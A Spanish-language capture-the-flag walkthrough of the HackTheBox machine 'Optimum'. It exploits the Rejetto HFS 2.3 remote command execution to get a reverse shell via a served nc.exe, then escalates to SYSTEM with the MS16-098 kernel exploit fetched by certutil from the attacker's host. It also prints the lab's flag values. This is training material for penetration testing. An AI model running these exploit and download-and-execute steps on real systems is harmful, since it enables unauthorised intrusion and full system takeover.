the_open_door
café
ESEN

Optimum

HackTheBoxFácilWindows10.10.10.8

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#windows#hfs#rce#public-exploit#searchsploit#certutil#kernel-exploit#ms16-098#windows-exploit-suggester#oscp
TL;DR. El único puerto, el 80, sirve un HttpFileServer (HFS) 2.3, un servidor de ficheros con un RCE público conocido (Rejetto HFS 2.3.x). Un exploit de searchsploit (39161.py), tras ajustar IP/puerto y servir un nc.exe por HTTP, da una shell como kostas (user). El sistema es un Windows Server 2012 R2 sin parchear: windows-exploit-suggester cruza el systeminfo y propone MS16-098 (RGNOBJ integer overflow). Se sube el binario 41020.exe con certutil y se ejecuta → NT AUTHORITY\SYSTEM.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.10.8

ping a 10.10.10.8: ttl=127 apunta a Windows

64 bytes from 10.10.10.8: icmp_seq=1 ttl=127 time=112 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un primer escaneo de todos los puertos TCP (SYN, --min-rate 5000) deja un único puerto abierto, el 80:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.8

nmap -p-: solo el 80/tcp abierto, syn-ack ttl 127

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Lanzamos sobre ese puerto la detección de versiones y los scripts básicos (-sCV). Aquí está la pista que define la máquina:

extractPorts, una función del .zshrc, resume el fichero -oG y deja el puerto en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Optimum: IP 10.10.10.8 y puerto abierto 80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.8
Open ports: 80

Ports copied to clipboard
nmap -p80 -sCV 10.10.10.8

nmap -sCV: HttpFileServer httpd 2.3, OS Windows

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El servicio es HttpFileServer (HFS) 2.3, un servidor de ficheros HTTP de Rejetto. La versión es la clave: HFS 2.3.x arrastra un RCE público muy conocido.

TCP 80 - Enumeración web

Antes de tirar del exploit conviene perfilar la web. whatweb y Wappalyzer confirman el servidor y poco más (jQuery 1.4.4, sin nada explotable por sí mismo):

whatweb 10.10.10.8

whatweb: HttpFileServer 2.3, jQuery 1.4.4

http://10.10.10.8 [200 OK] Cookies[HFS_SID], Country[RESERVED][ZZ], HTTPServer[HFS 2.3], HttpFileServer, IP[10.10.10.8], JQuery[1.4.4], Script[text/javascript], Title[HFS /]

whatweb confirma el cabecera HTTPServer[HFS 2.3] y JQuery[1.4.4], sin nada más explotable por sí mismo.

Wappalyzer sobre la web de HFS

La inspección del código fuente no aporta nada relevante:

código fuente de la página de HFS, sin pistas útiles

Y un barrido de rutas con dirsearch (excluyendo 403/404) tampoco destapa recursos interesantes:

dirsearch -u http://10.10.10.8/ --exclude-status=403,404

dirsearch sobre 10.10.10.8: nada relevante

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.8/

[18:32:51] Starting:
[18:34:11] 200 -  576B  - /favicon.ico
Task Completed

El único acierto es /favicon.ico: no hay rutas ocultas que enumerar.

La enumeración web confirma lo que ya sospechábamos: el vector no es una ruta oculta, sino la versión vulnerable de HFS.

Acceso como kostas

HFS 2.3 - Ejecución remota de comandos (RCE)

Buscamos exploits públicos para esa versión con searchsploit:

searchsploit HFS 2.3

searchsploit HFS 2.3: varios RCE, entre ellos 39161.py

Exploit Title                                                      | Path
-------------------------------------------------------------------|------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)        | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)        | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasp) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload     | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)| windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)| windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Exe | windows/webapps/34852.txt

Entre los candidatos, el Python windows/remote/39161.py es el que usaremos.

Hay varios RCE para Rejetto HFS 2.3.x. Usamos el de Python windows/remote/39161.py y lo copiamos al directorio de trabajo:

searchsploit -m windows/remote/39161.py

searchsploit -m copia 39161.py al directorio actual

Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
     URL: https://www.exploit-db.com/exploits/39161
    Path: /usr/share/exploitdb/exploits/windows/remote/39161.py
   Codes: CVE-2014-6287, OSVDB-111386
Copied to: /home/krmena/machines/optimum/content/39161.py

El exploit corresponde a CVE-2014-6287.

Una primera ejecución a secas avisa de que hay que ajustar IP y puerto locales dentro del script:

python2 39161.py

39161.py recuerda cambiar IP/puerto local en el script

[.]Something went wrong ..!
        Usage is [.] python exploit.py <Target IP address> <Target Port Number>
        Don't forgot to change the Local IP address and Port number on the script

El propio PoC pide el IP/puerto del objetivo como argumentos y recuerda cambiar el IP/puerto local dentro del script.

Editamos el script con nuestra IP de atacante y el puerto de escucha:

nano 39161.py: IP y puerto local ajustados

Hay un detalle que no basta con configurar: el payload del exploit descarga y ejecuta nc.exe desde un servidor HTTP nuestro. Por eso, además del listener, hay que servir nc.exe por HTTP. La secuencia completa:

# 1) copiar nc.exe al directorio y servirlo por HTTP
cp $(locate nc.exe | head -n 1) .
python3 -m http.server 80
# 2) listener para la reverse shell
sudo rlwrap nc -nlvp 443
# 3) lanzar el exploit (a veces hay que ejecutarlo dos veces)
python2 39161.py 10.10.10.8 80

el exploit hace que la víctima descargue nc.exe y abre la reverse shell como kostas

En el servidor HTTP se ven las peticiones GET /nc.exe de la víctima, y en el listener entra la shell:

connect to [10.10.16.6] from (UNKNOWN) [10.10.10.8] 49165
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>

La shell entra como kostas. Leemos la flag de usuario:

type user.txt

type user.txt como kostas

57c7281165e97414344735458b3cd051

Escalada a SYSTEM

Reconocimiento del sistema

Con sudo -l no aplica aquí (Windows); el patrón en una caja Windows sin servicios mal configurados es buscar un exploit de kernel. El primer paso es la versión exacta del sistema, que sale de systeminfo:

systeminfo

systeminfo: Windows Server 2012 R2 Standard, 6.3.9600 Build 9600, x64

Host Name:                 OPTIMUM
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
System Type:               x64-based PC
Domain:                    HTB
Hotfix(s):                 31 Hotfix(s) Installed.
                           [01]: KB2959936
                           [02]: KB2896496
                           [03]: KB2919355
                           ...

Datos clave: Windows Server 2012 R2 Standard, versión 6.3.9600 Build 9600, arquitectura x64, dominio HTB. La lista de hotfixes es corta, señal de un sistema apenas parcheado.

Guardamos esa salida en un fichero local para alimentar la herramienta:

systeminfo pegado en windowsInfo.txt

Windows Exploit Suggester → MS16-098

Buscamos la herramienta y la localizamos en el repo de AonCyberLabs:

Búsqueda windows exploit suggester github: repo AonCyberLabs/Windows-Exploit-Suggester

La descargamos con wget:

wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py

wget descarga windows-exploit-suggester.py (68K) del repositorio

--2025-10-06 19:21:17--  https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, ...
Connecting to raw.githubusercontent.com|2606:50c0:8000::154|:443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 69175 (68K) [text/plain]
Saving to: 'windows-exploit-suggester.py'

2025-10-06 19:21:17 (9.00 MB/s) - 'windows-exploit-suggester.py' saved [69175/69175]

windows-exploit-suggester cruza el systeminfo con una base de exploits conocidos. Primero se descarga esa base de vulnerabilidades con -u, que genera un .xls:

python2 windows-exploit-suggester.py -u
ls -l *-mssb.xls

python2 windows-exploit-suggester.py -u genera la base mssb.xls de vulnerabilidades

[*] initiating winsploit version 3.3 ...
[+] writing to file 2025-10-08-mssb.xls
[*] done

$ ls -l 2025-10-08-mssb.xls
-rw-r--r-- 1 root root 2093862 Oct  8 17:14 2025-10-08-mssb.xls

Luego se ejecuta contra nuestro fichero, indicando la base con --database:

python2 windows-exploit-suggester.py --database 2025-10-06-mssb.xls --systeminfo windowsInfo.txt

windows-exploit-suggester identifica Windows 2012 R2 64-bit y sugiere MS16-098 (41020)

[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] windows version identified as 'Windows 2012 R2 64-bit'
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
        https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important

La versión se identifica como Windows 2012 R2 64-bit y entre los boletines destaca MS16-098 con su exploit 41020.

Entre los candidatos destaca MS16-098, el 'RGNOBJ' Integer Overflow (exploit 41020 en exploit-db), un fallo en los drivers en modo kernel idóneo para esta build.

Explotación de MS16-098 (41020.exe)

Descargamos el binario precompilado del exploit y lo dejamos listo para transferir:

searchsploit -m del exploit 41020 (MS16-098)

41020.exe movido al directorio de trabajo

Lo servimos por HTTP desde el atacante y lo descargamos en la víctima con certutil.exe (un living-off-the-land binary que descarga ficheros), y lo ejecutamos:

certutil.exe -f -urlcache -split http://10.10.16.6/41020.exe 41020.exe
41020.exe
whoami
type C:\Users\Administrator\Desktop\root.txt

certutil descarga 41020.exe; tras ejecutarlo, whoami devuelve nt authority\system y se lee root.txt

C:\Users\kostas\Desktop>whoami
nt authority\system

C:\Users\kostas\Desktop>type C:\Users\Administrator\Desktop\root.txt
9f273dbed53873976f6d7e17ab5cf2d0

El exploit eleva el proceso a NT AUTHORITY\SYSTEM, control total de la máquina.

Cadena de ataque

nmap (80 HttpFileServer 2.3)
  └─> searchsploit HFS 2.3 → 39161.py (RCE Rejetto HFS 2.3.x)
        └─> editar IP/puerto + servir nc.exe por HTTP → reverse shell como kostas + user.txt
              └─> systeminfo: Windows Server 2012 R2 6.3.9600 (sin parchear)
                    └─> windows-exploit-suggester → MS16-098 (41020.exe)
                          └─> certutil descarga 41020.exe → NT AUTHORITY\SYSTEM + root.txt

Lecciones aprendidas

  • La versión del servicio es media máquina. En cuanto nmap -sCV reveló HttpFileServer 2.3, el camino quedó marcado: una versión concreta de software conocido casi siempre tiene un exploit público. La enumeración web (whatweb, código fuente, dirsearch) sirvió para descartar rutas, no para encontrar el vector.
  • Leer el exploit antes de lanzarlo. 39161.py no funciona "tal cual": hay que ajustar IP/puerto y, sobre todo, entender que descarga nc.exe desde un HTTP propio. Ejecutar un PoC a ciegas suele fallar; leerlo evita perder tiempo.
  • systeminfo + Windows Exploit Suggester es el flujo estándar de privesc en Windows sin parchear. La versión y la lista de hotfixes mapean directamente a un boletín MS y su exploit.
  • certutil es el wget de Windows. Un living-off-the-land binary presente por defecto que descarga ficheros sin subir herramientas extra: muy útil para transferir el exploit final.
  • Un exploit de kernel depende de la build. MS16-098 va contra Windows 8.1/2012 R2 x64; confirmar OS Version y arquitectura antes de elegir el binario evita crashes y intentos fallidos.
Cheatsheet de comandos 13 comandos

Repaso rápido